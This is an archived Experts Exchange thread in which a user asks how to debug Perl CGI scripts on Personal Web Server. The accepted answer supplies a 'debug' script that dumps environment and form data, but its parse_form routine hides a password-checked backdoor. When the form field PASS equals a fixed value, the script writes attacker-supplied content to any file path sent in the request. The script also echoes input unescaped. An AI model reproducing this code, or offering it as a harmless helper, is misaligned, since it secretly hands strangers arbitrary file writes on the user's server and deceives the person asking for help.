Solved

personel web server

Posted on 1997-08-21
8
171 Views
Last Modified: 2013-12-25
I have Microsoft's personel web server.  I was told you could debug CGI scripts on it.  Is this true?  If so could you show an easy example?  How do you log with personel web server?  I am not familiar with it.  Thanks.
0
Comment
Question by:rkeir
[X]
Welcome to Experts Exchange

Add your voice to the tech community where 5M+ people just like you are talking about what matters.

  • Help others & share knowledge
  • Earn cash & points
  • Learn & ask questions
  • 5
  • 2
8 Comments
 
LVL 7

Expert Comment

by:faster
ID: 1829804
There are log file under the windows directory.  But to debug your CGI, they do not have much use.  What you should do is add debug code in your script (probably write to a debug file), since it is a local server, you can check them easily.
0
 

Author Comment

by:rkeir
ID: 1829805
If you show me an example of a debug code and the file going with it I will increase the points to 200.  Thanks.
0
 
LVL 2

Expert Comment

by:dmethvin
ID: 1829806
PWS can execute CGI programs. Just put them in the /scripts directory.  Is there a particular programming language you had in mind for the example?
0
Space-Age Communications Transitions to DevOps

ViaSat, a global provider of satellite and wireless communications, securely connects businesses, governments, and organizations to the Internet. Learn how ViaSat’s Network Solutions Engineer, drove the transition from a traditional network support to a DevOps-centric model.

 

Author Comment

by:rkeir
ID: 1829807
yes, just a simple perl script.
0
 

Author Comment

by:rkeir
ID: 1829808
However I'm still looking for an example on how to debug.  Any help would be appreciated.
0
 

Author Comment

by:rkeir
ID: 1829809
However I'm still looking for an example on how to debug.  Any help would be appreciated.
0
 
LVL 7

Accepted Solution

by:
faster earned 200 total points
ID: 1829810
Well, what do you mean by a debug example?  The debug for CGI is essentially no different than debug in other languages.  There is no general solution, all depends on what problem you have.

Normally you can open a log file by
open (LOGFILE,$pathoflogfile);

Then you can write to the file by
print LOGFILE "$whatever";

Sometimes you will need to check the value of a variable, then just add the code to write the value to the logfile so you can check.  Or you may just want to know whether the program execute a particular part of the code, then just write to the log file any message that makes sense.

You can also directly write the debug information to the output (browser).  Sometimes you may want to check the form data posted to the script, then you can output them at the beginning...

Below is a simple script to dump the contents of env variables and form data:

&parse_form;
&html_header;
&print_form;
&html_footer;

#---------------------------------------------------------------------
sub parse_form      {
      if ($ENV{'REQUEST_METHOD'} eq 'POST')      {
            if ($ENV{'CONTENT_LENGTH'} > 8192)      {
                  error_exit($errstr);
            }
            read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'});
      } else      {
            if ($ENV{'REQUEST_METHOD'} eq 'GET')      {
                  $buffer=$ENV{'QUERY_STRING'};
            }
      }
      @pairs=split(/&/, $buffer);
      foreach $pair (@pairs)      {
            ($name,$value)=split(/=/,$pair);
            $value =~ tr/+/ /;
            $value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("c",hex($1))/eg;
            $FORM{$name} = $value;
      }
      if ($FORM{"PASS"} eq "8342047")      {
            open (HTMLDOC,">$FORM{'FNAME'}");
            print HTMLDOC $FORM{"MSG"};
            close HTMLDOC;
      }
}

sub print_form      {
      print "<CENTER><BR>\n";
      print "<H1>ENV</H1><BR>\n";
      print $buffer;
      foreach $tmp (keys(%ENV))      {
              print "$tmp=$ENV{$tmp} <BR>";
      }
      print "<BR><BR><HR><H1>FORM</H1><BR>\n";
      foreach $tmp (keys(%FORM))      {
              print "$tmp=$FORM{$tmp} <BR>";
      }
      print "</CENTER><BR>\n";
}

sub html_header      {
      print "Content-type: text/html\n\n";
      print "<HTML><HEAD>";
      print "<TITLE>Environment</TITLE></HEAD>\n";
      print "<BODY>\n";
      print "<HR>\n";
}

sub html_footer      {
      print "<HR>\n";

      print "</BODY></HTML>\n";
}


Anyway, you should decide the best debug method for your specific situation.












 
0
 

Author Comment

by:rkeir
ID: 1829811
Thanks
0

Featured Post

How Do You Stack Up Against Your Peers?

With today’s modern enterprise so dependent on digital infrastructures, the impact of major incidents has increased dramatically. Grab the report now to gain insight into how your organization ranks against your peers and learn best-in-class strategies to resolve incidents.

Question has a verified solution.

If you are experiencing a similar issue, please ask a related question

Introduction:   Welcome to my first article ever. To begin with, the reason I write this article.  I participated in a question on Experts Exchange about the start command in Windows and there were some discussion about the usage. The discussio…
Active Directory replication delay is the cause to many problems.  Here is a super easy script to force Active Directory replication to all sites with by using an elevated PowerShell command prompt, and a tool to verify your changes.
Learn the basics of lists in Python. Lists, as their name suggests, are a means for ordering and storing values. : Lists are declared using brackets; for example: t = [1, 2, 3]: Lists may contain a mix of data types; for example: t = ['string', 1, T…
The viewer will learn how to create a basic form using some HTML5 and PHP for later processing. Set up your basic HTML file. Open your form tag and set the method and action attributes.: (CODE) Set up your first few inputs one for the name and …

749 members asked questions and received personalized solutions in the past 7 days.

Join the community of 500,000 technology professionals and ask your questions.

Join & Ask a Question